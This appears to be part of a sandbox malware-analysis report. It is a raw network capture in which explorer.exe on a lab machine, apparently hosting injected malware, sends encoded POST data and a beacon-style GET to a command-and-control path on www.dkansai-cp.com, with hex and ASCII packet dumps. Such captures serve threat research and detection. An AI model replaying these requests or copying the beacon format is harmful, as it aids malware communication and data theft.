May 30, 2023 11:13:03.783010960 CEST	1675	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 58 65 47 43 6a 41 6d 6f 5a 6f 67 52 71 32 36 45 34 5f 33 59 4f 71 48 75 41 43 39 74 75 52 28 46 4b 76 4e 33 77 48 43 6d 74 66 32 45 39 6d 70 76 7e 66 42 48 28 53 6d 49 6a 34 6d 50 7a 4d 47 73 64 77 47 7a 54 44 63 5f 50 64 6e 65 50 39 49 61 4f 67 65 47 69 59 49 45 41 51 71 39 74 4f 69 68 31 74 47 4f 7e 46 51 5f 68 45 7e 58 4a 77 69 53 39 31 36 46 6d 4c 79 77 28 46 5a 67 32 36 53 51 67 67 6d 34 4c 38 56 65 43 61 4a 72 56 2d 42 68 28 68 39 39 48 76 45 31 38 63 7e 47 46 43 6c 6f 6b 50 68 6a 52 6f 50 5f 37 53 37 6a 7e 47 28 58 71 38 4a 68 75 7a 37 78 72 30 4c 66 79 4e 63 65 48 41 6b 41 6a 37 4c 2d 32 55 5a 67 73 59 30 46 65 56 38 6e 4a 62 37 67 66 77 48 66 56 57 76 4e 57 79 42 59 43 70 70 7a 52 4b 58 69 41 6e 61 37 6b 65 79 61 65 33 42 45 78 4a 78 54 45 63 6c 61 61 4c 50 76 6d 62 6d 51 6c 74 6a 39 48 62 70 6a 64 4d 4e 4c 35 32 73 65 7a 68 30 4d 38 66 4f 38 54 35 31 41 4b 48 48 36 6a 79 75 71 63 74 72 48 50 2d 4e 62 70 6f 7a 5f 76 44 49 43 6a 6d 56 4c 4e 41 7e 78 51 34 66 71 4d 6d 33 64 58 76 70 47 37 6c 4e 32 54 35 4e 71 4f 67 6c 6d 4e 48 67 37 65 65 36 50 36 30 71 67 49 71 78 6c 37 54 4d 57 62 6f 58 52 6a 4f 52 30 28 4a 6b 6c 32 51 49 31 59 35 67 57 61 54 65 55 6e 6f 4b 6d 46 6b 72 75 77 73 66 32 4f 77 5a 7a 56 73 6f 71 54 43 64 79 35 2d 77 54 59 44 47 4a 50 7a 59 4b 33 76 78 6c 59 39 7a 78 30 69 39 79 63 5a 49 4d 6c 6e 54 34 77 4c 57 59 36 46 6f 41 53 42 73 71 53 64 52 4f 54 57 64 4d 42 35 77 76 72 57 4a 43 43 44 6e 6b 66 52 38 52 67 35 4b 45 73 61 51 5a 47 71 79 74 4f 74 32 4e 57 61 57 30 63 79 7e 30 51 6f 34 5a 53 70 75 41 62 74 56 58 7a 59 53 48 33 72 66 4a 72 33 58 6a 52 33 62 68 55 70 49 70 48 62 4b 70 43 34 77 68 73 79 4f 7a 74 65 59 65 57 46 49 30 55 71 42 6f 49 34 50 43 65 54 32 62 55 31 52 4a 37 4a 48 35 67 51 33 46 48 62 7e 6a 76 46 76 76 36 51 55 41 64 69 4e 33 43 73 7e 44 51 43 69 35 47 36 64 37 76 45 57 79 54 37 66 79 34 6f 36 65 37 35 45 63 35 30 28 36 65 74 57 59 7a 76 4c 50 59 70 57 34 32 31 68 6c 35 61 39 53 76 69 73 51 32 6e 7e 67 57 79 64 66 77 62 73 52 42 51 46 75 43 56 53 6c 39 51 79 2d 6b 42 68 35 61 63 43 34 52 47 46 45 56 39 43 56 64 4d 4e 5a 6a 68 61 37 31 47 6c 46 54 52 28 43 70 47 4c 31 36 54 63 73 6c 73 54 72 78 71 70 43 46 6d 73 7a 6e 48 39 5a 37 39 66 41 34 58 4a 43 44 46 55 57 49 64 55 5a 79 77 7a 34 72 65 53 74 4e 75 63 67 70 59 73 79 4c 66 35 61 4b 35 28 70 45 31 37 61 4a 64 47 72 42 4c 51 52 43 43 62 6d 28 38 52 45 62 47 28 4c 6f 2d 7a 70 35 42 6a 36 6b 32 35 71 7e 76 47 69 67 69 56 54 36 7a 72 45 52 30 33 31 57 70 54 66 6d 4e 6e 6f 42 39 54 38 46 58 7e 79 62 51 31 44 6b 66 53 6d 46 73 71 70 4a 73 33 5f 53 6e 38 79 4c 44 59 4e 71 66 69 64 48 75 57 6c 52 39 32 35 53 43 55 63 61 69 76 70 32 6e 51 44 57 4f 58 74 42 5a 54 2d 55 6d 49 32 76 70 6c 4c 37 4d 77 45 56 72 32 6d 67 58 76 76 54 59 33 46 6d 76 61 30 62 77 77 33 37 37 79 74 48 6d 63 67 79 4d 41 53 46 55 6e 46 59 79 62 5f 37 68 72 42 55 48 6d 79 4d 56 56 73 28 6b 37 58 65 49 31 42 51 43 4d 41 41 65 71 4e 49 62 75 5a 79 65 32 47 43 51 4e 65 7a 61 77 6e 75 64 37 68 4d 46 56 42 6c 69 63 55 56 65 6e 74 6c 37 55 47 6d 65 47 61 34 65 78 7a 37 51 37 55 51 6e 77 69 4b 4b 6f 4f 35 39 7e 36 38 61 74 77 7e 53 6d 32 56 55 51 69 58 63 4a 55 62 53 7e 34 52 4f 4c 77 37 64 6f 62 38 44 54 71 58 5a 53 4e 6c 30 44 77 4e 55 36 4a 6b 32 48 42 67 4d 4e 48 4e 42 47 37 49 74 79 4a 7e 45 67 30 46 77 69 5f 4a 4f 32 32 64 63 78 6d 41 64 50 53 32 6d 38 6f 65 45 57 34 57 73 38 2d 75 5f 6d 4e 55 34 51 4b 33 6c 36 75 6d 4a 69 75 79 44 38 55 52 73 45 45 36 64 57 53 57 57 77 49 66 79 44 71 48 49 31 72 33 39 4e 77 76 71 75 46 65 39 79 73 6f 59 37 4e 66 63 42 4f 59 49 68 38 44 65 79 30 5a 68 48 66 6a 6f 49 46 4e 56 62 57 71 76 79 33 67 56 51 62 6b 73 36 75 69 67 59 43 65 59 79 42 78 44 58 68 33 66 7a 64 63 35 46 68 4f 68 49 57 55 4d 6b 45 38 41 59 55 50 66 55 51 34 78 48 62 37 4c 77 56 50 6c 51 53 45 31 70 68 4d 38 65 5a 62 55 43 66 64 78 41 56 47 58 73 38 36 79 54 34 36 61 72 53 38 4c 69 54 4c 6d 50 61 31 79 6c 46 67 72 5a 30 31 46 69 35 55 4d 7a 72 52 32 41 55 4e 72 74 34 6e 72 50 5a 37 7a 6b 35 44 73 62 48 67 Data Ascii: O0qEM=lTG_iZQ1e8rTXeGCjAmoZogRq26E4_3YOqHuAC9tuR(FKvN3wHCmtf2E9mpv~fBH(SmIj4mPzMGsdwGzTDc_PdneP9IaOgeGiYIEAQq9tOih1tGO~FQ_hE~XJwiS916FmLyw(FZg26SQggm4L8VeCaJrV-Bh(h99HvE18c~GFClokPhjRoP_7S7j~G(Xq8Jhuz7xr0LfyNceHAkAj7L-2UZgsY0FeV8nJb7gfwHfVWvNWyBYCppzRKXiAna7keyae3BExJxTEclaaLPvmbmQltj9HbpjdMNL52sezh0M8fO8T51AKHH6jyuqctrHP-Nbpoz_vDICjmVLNA~xQ4fqMm3dXvpG7lN2T5NqOglmNHg7ee6P60qgIqxl7TMWboXRjOR0(Jkl2QI1Y5gWaTeUnoKmFkruwsf2OwZzVsoqTCdy5-wTYDGJPzYK3vxlY9zx0i9ycZIMlnT4wLWY6FoASBsqSdROTWdMB5wvrWJCCDnkfR8Rg5KEsaQZGqytOt2NWaW0cy~0Qo4ZSpuAbtVXzYSH3rfJr3XjR3bhUpIpHbKpC4whsyOzteYeWFI0UqBoI4PCeT2bU1RJ7JH5gQ3FHb~jvFvv6QUAdiN3Cs~DQCi5G6d7vEWyT7fy4o6e75Ec50(6etWYzvLPYpW421hl5a9SvisQ2n~gWydfwbsRBQFuCVSl9Qy-kBh5acC4RGFEV9CVdMNZjha71GlFTR(CpGL16TcslsTrxqpCFmsznH9Z79fA4XJCDFUWIdUZywz4reStNucgpYsyLf5aK5(pE17aJdGrBLQRCCbm(8REbG(Lo-zp5Bj6k25q~vGigiVT6zrER031WpTfmNnoB9T8FX~ybQ1DkfSmFsqpJs3_Sn8yLDYNqfidHuWlR925SCUcaivp2nQDWOXtBZT-UmI2vplL7MwEVr2mgXvvTY3Fmva0bww377ytHmcgyMASFUnFYyb_7hrBUHmyMVVs(k7XeI1BQCMAAeqNIbuZye2GCQNezawnud7hMFVBlicUVentl7UGmeGa4exz7Q7UQnwiKKoO59~68atw~Sm2VUQiXcJUbS~4ROLw7dob8DTqXZSNl0DwNU6Jk2HBgMNHNBG7ItyJ~Eg0Fwi_JO22dcxmAdPS2m8oeEW4Ws8-u_mNU4QK3l6umJiuyD8URsEE6dWSWWwIfyDqHI1r39NwvquFe9ysoY7NfcBOYIh8Dey0ZhHfjoIFNVbWqvy3gVQbks6uigYCeYyBxDXh3fzdc5FhOhIWUMkE8AYUPfUQ4xHb7LwVPlQSE1phM8eZbUCfdxAVGXs86yT46arS8LiTLmPa1ylFgrZ01Fi5UMzrR2AUNrt4nrPZ7zk5DsbHg6XNoqZRfn8gci2ZNcw9WMv8~JNkQFrTlncywDYLLHvhEqnBVfw-kMadLRdCa6Y2405wTf97Iay4zvr_KYEcVRp6TNuuOENPM-kmtTBg6L9N3Kgh(RMhpWCROuKnqaHyV7VGHplXrRpLQdX6zdfxztAfiCezpfSs2OvY76AGZJ2REyx_Qrlm02RRSYuYx4Mfl4thGl4m59hUmm9NrY6rL7FyB6afAGDo(bBpJ7iKoQ53GOg4lmnae3qD9XrhioOWQ-1g76UIKPcIJyjdmC94WnXwKArv2xYI~VhTtxFHml7R6TedrNMLfchMp7DxOxOvlmO4IIXamDQ2pVVDGNHCW3RelnRpS0YtwAE9HTSyyBABVQBh59yDipRZ2ruTWqi1dLdFiI55C8ExmDkT50wWf8dDEGiwhT76dCUtclSRtrUldyz067Iq7vc-n9qtiAZ6ZWGh~TnGswpL~1y4cGq2BpEVtJze9eTNnsnTd-yBq2vKD-CIaW6Y2KGQ4OGBc0yOM98n9BNwLmQx45fX4H3jcAspxpUx4bCpEfG-kx0GHVw-unkpT9hFAf3rDYGGK46cwVJ4RJXVEzKf3PuKn9Y7NZaBDa6TCSifiLTeuvzJTM59Kt~vWATb(c2yeApVFwNWWTdnUQu_nu5SGC4z8pdrNeevY-nI2GDk1JKqG9JnwdLcQvMYpUg4fwlPn6yqeYmY(1GQIVUpMuBkdOXVM38eHUSDDhP3OD7J8F8J5Mm6h0WGF4EqgcOGJIZWMDapHy9qyf88yqO663z6AQUcMctiAT(ttke9nZ0FEaCacepUS9JAD65oIFpiE_QNTfo03yqws5Vyj2BvdaQUjVQzr8rmSOcP4h3EDRqWG4fERBA_2YeYfmXQ~89NJ5MpAVciStFZ6_Z585Xiy252cR7WlVkE5WN0sg4Z~Zdw6F(ixTClsPW6KJtpJfR-krzXx9~tnyLFg1bLUoRnLLPENgEoZjY-avLiOkvyV1DsmlfLzP~-h7AdiICyVf0jmo~131255v4_3f6Qbc7T4pqgYE2Soe4Ah4uAoVpzdBphcvG1~Adwme9Ck2xnF8fuXVT-zE3Nhn4Um2tJz6rjaLLjuyUQXeKl0z(ANifMN9ydNff0OzIm9WTHchKgLkgKWO68JrQAhDKuZMEXs0GFxhfDqZeeNqVeBvxddUq9HbIgRLaxnwFoISmhO15VEX(RT23WFCWimWETiovJKttHnZak~_geBPHHjx594JAmqOol4l0ovx(BFIl2Yq8MqTRCKbvg9w91EDskTVhcxwtzUTtJyxiBFJvyBBUje0Yk1anxGEW6uweTMFgFRT(2n8hAOEQEQgwXoxd7quHmDuYBZ6zEmZVN0w~8oXimHXxq0atRYTh_JoZLMvYOGAWpPk(cJ3E8kEaGUIkGy3I3p2W4YGPAxhb3YUyHVAIPdzc_92PHtsMfABC9tcC18pAFfFtTsoQwUQUbcBa0XxkLGrCsYj1wlXXYS5PyTXji4oruKmwX4a8YD4aH~FCiEK4DPbULxQNAFFPsddYfQvFQlQdENzwCXM2586gXmHjSsaXt1-qW~hyP33w-8VOBiZSvKc66rthAky~QYlMUc-~iVy2syaoeLsx8pqj6~LmnodiESoqqPhbpkyu4elG_RbhdCdafvDrH4QqdH7THZGFAgSJ7BQ1gdwrj94WifI1tUw9syiax8sD5GBbMHlMf2bMLlfC64ycE9ksPaPTvg4PiUZJ609LpsJRDwAQqvJB0RC2pn47vf0XVZzVfAuekhaYLjGzms-C2Z2UFqSCETPemStSi8xUPlv33niw0NBtnDvL8bHiL7HGmofTC4aQcUW1bruY8o18DuWU5y9zh(M3qihSDhrWfflHHP0pqZ5zJlDwXIhZtL-MtCHaZWOKxf4Ho6CXHURsYjYkaqQUbBYCLZ5nqqZF_HgBFwXkmnm27NxCnhI1pOXOj0v(zBUQLR7RXu2~Ssnwcg-VP3iQ6G-NWACrYwWO-7ihbOcdhkPpvyCbfjrBu8bujmqyie02Umph1BtstWWh021SSzvpPN3APPRfH4TAVJ0pXNg6znD(ojuleShdPr49jcmAtokLYwpk9wcT6ckjCycfOGL5B18~ZwPEJlaARIAvlNf3Tm9y1VMJLOYuumghccdlalBy9G4NG1c47hPFxvV1eBOImTRmDfpqeErbNGYHh~cS2AdkIzejnPdMxkwIMKKwTIpFNGxYoRCp_sWTo8rtSHzPj2fQI~c(8V15NWoHueMF8oqHmh4~PamoswwAqoaYWEJGqK5ibCug9W_gO03I28qLRAdqrWgFRyAMZvl8pEPpTIUZK5etObv5xDVoeiOUFt1(EhU294gKUHe5UDNOy4SRvHp7YHBQHC8yjnS6roPQySuAH(VoxTKV9733Rp7xvJMBEqzZlPUEUoS2kjgiUb9XH3fgPCYOyCARZLGa5iNsCJsWdJwvmyUmR0J4iBpBAEkAEFWRT09Jz1TqPrpcgqhSmLMczwrUHJEXk6DN0WAqylxIJMHJq6HrNo0zJR3C5HGVLfNpn~6PZD0z6nlC_SOdhYuKTWweNK5rHWasrDYMuD8LDLmKOLOITowEH1jdoRXFtgxHyeIQBUheOnaZydmEehDBc(89PB_VSuBmGVi9aW_APaEjuzs8Aq9sOBiyI~qTaWGJ5bFzfg20amFS6tyFgLOUlMAa4cuZmX4sQwwWpoCl4woWFBwqxQVVi
May 30, 2023 11:13:03.783097982 CEST	1679	OUT	Data Raw: 28 79 61 66 43 6f 77 46 65 4d 4d 70 33 63 46 66 6d 41 6c 4a 66 47 28 69 50 6c 50 4d 4f 72 61 74 49 68 46 32 53 5a 6d 42 47 46 74 77 79 37 59 50 61 6f 68 33 33 58 5a 6d 34 79 30 6f 64 4b 52 6f 6c 65 77 79 7e 67 56 77 77 56 35 59 50 61 38 4e 41 56 Data Ascii: (yafCowFeMMp3cFfmAlJfG(iPlPMOratIhF2SZmBGFtwy7YPaoh33XZm4y0odKRolewy~gVwwV5YPa8NAVw3k9czGyDzS6PSdpwxM66vbo9dTip1nA8SmCeUKoGReqN4LHoGZZmXCdUDZ8z9o_xe5_Y50unmszzU42WUJ9EWjEGAAJPy586fHrwAJLgNDwACPljgiysGlnXv0vXf7rqPiaf9Z6rG7_8JFn3yBl35xKooIlPDN0m
May 30, 2023 11:13:04.050211906 CEST	1685	OUT	Data Raw: 7a 74 6a 5f 55 68 75 35 43 39 32 71 71 30 7a 6b 38 5a 63 58 4e 72 33 35 49 73 36 76 64 4e 61 53 77 39 32 6b 64 5a 55 2d 34 4b 65 70 6d 6c 36 50 67 38 64 44 30 4e 51 74 68 4a 49 36 48 48 74 57 69 6c 45 78 6c 71 6f 63 75 4d 4b 42 33 30 66 4d 6d 6e Data Ascii: ztj_Uhu5C92qq0zk8ZcXNr35Is6vdNaSw92kdZU-4Kepml6Pg8dD0NQthJI6HHtWilExlqocuMKB30fMmno_gYSpHp4N7DiFJ0rUvMehYiB0YPcDCLM5(JatQmBnxjphsmnNUpRe46AEUEDs2cO5xQVZwRpJzoyaSjWvz_L46EtAk4s0IhTr8ssSK066drgAccnhdPQrD-CIY4SpfnZyUh~2deLBwbDI1KdSE0(WPlKd~rNaTxZ
May 30, 2023 11:13:04.050297976 CEST	1694	OUT	Data Raw: 71 76 55 73 53 52 64 59 6c 6a 46 6e 5a 69 59 42 44 31 6c 75 73 67 5a 75 4d 65 5a 6b 4e 6c 68 5f 37 5f 68 79 51 47 75 56 56 32 70 75 37 4f 4b 43 78 63 32 64 76 46 7e 6a 45 4c 52 67 48 41 38 5a 39 42 48 41 64 62 44 34 37 36 43 5a 4b 75 35 76 37 6a Data Ascii: qvUsSRdYljFnZiYBD1lusgZuMeZkNlh_7_hyQGuVV2pu7OKCxc2dvF~jELRgHA8Z9BHAdbD476CZKu5v7jmE9VmCKMXYMztWWHVEhwzIUf~V1xVqQCX1pDx-IurPX0LnZ8aCeYXoF42-yako1Bq0fZcawvDf24RP20X4VyLL~ag4YQpq(3B98Q5mDZqv091PLLDz1DS1TwspPBB1A8UmkyWCyg96pj6Lco~I~nm9mJC6W4zF2pw
May 30, 2023 11:13:04.050606012 CEST	1697	OUT	Data Raw: 77 56 57 5a 43 6b 32 7a 56 6f 33 74 38 57 31 52 42 62 4f 39 68 36 6e 49 6f 54 50 63 30 45 35 4e 56 34 63 41 58 6a 7a 5a 4a 6f 54 74 65 43 4e 4e 4a 57 6d 41 61 30 7a 54 54 33 53 48 6a 51 41 5a 68 43 4a 4f 6a 39 59 4f 4f 64 6b 74 48 6e 39 52 75 77 Data Ascii: wVWZCk2zVo3t8W1RBbO9h6nIoTPc0E5NV4cAXjzZJoTteCNNJWmAa0zTT3SHjQAZhCJOj9YOOdktHn9RuwA23wQJeWfZxxAlKb(ulV9n0RqAFu2el0eDJpBqfBPOK_mRU4Z9syCwXfiYiVdpPOB3LWSDCvjT0dLxYeAaJkzGcnn9Roa642blKMMrJMydeWFZPJ6NBanVfcgOA-LSenLyuTLALtvT9Tv_8b5PG7p0oc66CUVt8FD
May 30, 2023 11:13:04.050776958 CEST	1699	OUT	Data Raw: 62 61 72 56 42 53 67 35 50 44 5a 50 42 6e 4a 44 62 57 66 77 76 38 76 64 76 5a 76 68 4c 36 55 4d 4d 63 36 4e 46 58 55 52 64 68 62 43 52 33 41 39 46 4a 71 44 75 6c 30 6d 32 36 35 4b 78 63 48 57 39 53 4f 41 53 33 6d 4c 48 69 74 75 58 68 4d 67 52 5f Data Ascii: barVBSg5PDZPBnJDbWfwv8vdvZvhL6UMMc6NFXURdhbCR3A9FJqDul0m265KxcHW9SOAS3mLHituXhMgR_BFjwSYvRU4Z4FHkmHilgjvboH4NpvRr4KVUEu3JGCH(ZppuBsbEOjCL_cT4V3LV2eGwh0g3Ek5p86IKo8CPziVASCCwbdCBa~EQLr-ZghBXcjLzoE24g~4jmrp622aMT(P0u17P21ww7TEilXUsBd1IhPn0jch1uU
May 30, 2023 11:13:04.050951004 CEST	1704	OUT	Data Raw: 66 5f 4d 55 33 75 56 7a 46 50 5a 38 58 44 49 34 43 31 6f 45 47 6e 33 4d 61 71 43 6c 63 4a 4d 47 7e 34 70 4a 64 46 62 7a 59 42 4f 6f 4f 30 78 66 42 76 73 70 47 66 4e 64 50 4e 66 66 76 78 56 58 4b 4f 71 49 39 31 53 77 34 79 70 4b 64 5a 4d 4a 55 59 Data Ascii: f_MU3uVzFPZ8XDI4C1oEGn3MaqClcJMG~4pJdFbzYBOoO0xfBvspGfNdPNffvxVXKOqI91Sw4ypKdZMJUY7QGXwkt0tPkVWXmO5P8mwxmXw_2Ck6NAc9ckf3wa2TNcx4EG2x8eeJ4ZcxwLs20S6uau39uuP-tUYBVDNrBP65(BuywoV9kYQEwEBeEnA8eDQRth42a3JR3twNydiAgyy3npwqmuoTvjRj8axAJDNJ67ojOYni7qP
May 30, 2023 11:13:04.317523003 CEST	1707	OUT	Data Raw: 78 5f 45 43 59 33 4c 32 42 39 28 39 48 74 53 51 45 51 48 51 66 69 76 39 38 73 57 4a 61 33 66 4a 63 30 7a 73 36 4c 58 30 43 2d 32 74 41 51 77 7a 46 2d 69 64 4a 39 46 32 55 2d 36 65 46 33 41 33 61 78 4e 38 4d 4c 61 58 36 6a 58 68 74 54 49 64 5a 62 Data Ascii: x_ECY3L2B9(9HtSQEQHQfiv98sWJa3fJc0zs6LX0C-2tAQwzF-idJ9F2U-6eF3A3axN8MLaX6jXhtTIdZbaekdcYkB7gszvriYAUVGrUMLx5SbQJ0S4mm0gzKXuCop0LUPpjJ8OOo3G8WUL9EZ3CUpWu9Rd7CmK0D9inK0KGfgwT3W7IIuBzzn0EZfG_i0nT16yLX3y-k1evGXk4Usb9ts496tBsALXQ3rU8U_d-Gl72GPUYOwH
May 30, 2023 11:13:04.317718983 CEST	1716	OUT	Data Raw: 5a 53 31 48 42 7a 75 49 36 31 67 30 4b 43 75 42 59 59 72 64 42 45 4c 50 4f 50 4e 6e 79 56 57 71 73 4a 63 48 6a 79 54 5f 77 78 38 58 73 37 7a 54 35 70 61 64 4d 33 52 69 33 35 30 49 6f 30 54 2d 79 67 33 4b 64 74 4f 61 7a 47 73 6b 68 79 4c 71 78 66 Data Ascii: ZS1HBzuI61g0KCuBYYrdBELPOPNnyVWqsJcHjyT_wx8Xs7zT5padM3Ri350Io0T-yg3KdtOazGskhyLqxfkOEnyuxPMjG0Sa~HWGUkLEUwiGXCgFkd5MGi9B0oXkq30SO1exSTKbFrZkMrJ9(F8XTddNILChFy95xsSLhx7yM2VS5RsGiSnTnBQF1mhV~tIrXq17ghT6P1qxq8ns6buAVUud2LjmKnqnFO(c34VfKSJlQXnRwUW
May 30, 2023 11:13:04.317827940 CEST	1718	OUT	Data Raw: 74 54 52 56 76 46 44 49 6d 34 7a 31 38 69 34 50 49 34 7a 2d 54 62 35 47 74 36 69 51 73 58 73 77 64 43 64 65 52 7a 69 4e 58 2d 35 4b 75 76 4c 44 65 49 33 73 74 38 50 32 28 33 54 6d 41 31 4e 35 39 53 4a 54 78 63 6f 35 44 56 38 79 79 61 39 41 67 33 Data Ascii: tTRVvFDIm4z18i4PI4z-Tb5Gt6iQsXswdCdeRziNX-5KuvLDeI3st8P2(3TmA1N59SJTxco5DV8yya9Ag3xmH1vTEfzgGrfvJvDjf0Jxw7ULAgNaC6yQX3T_OYRjB_nydapV2Voif2(6OH2SRCX8XRYwKV9ZRyFwXfsgN3NbPLpVlhrZ50LPTFnszeqAeyQGjNSNbuaMHV0ypgnswxBf01fbQjTox7mktbo3vq0ySOzkGGG4ZIP
May 30, 2023 11:13:04.587376118 CEST	1720	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:13:04.587444067 CEST	1721	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.11.20	49850	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:06.595299006 CEST	1721	OUT	GET /tchg/?O0qEM=oRufhoY+bc3ycM+VgiODBrp+vj6j24zBH4XRbixJn1DYBt5l7xCYw/uqkQ1xxa9R7WiXu6y4y7mJHWOjUCQ2GcjHOqMUPQqZlA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.dkansai-cp.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
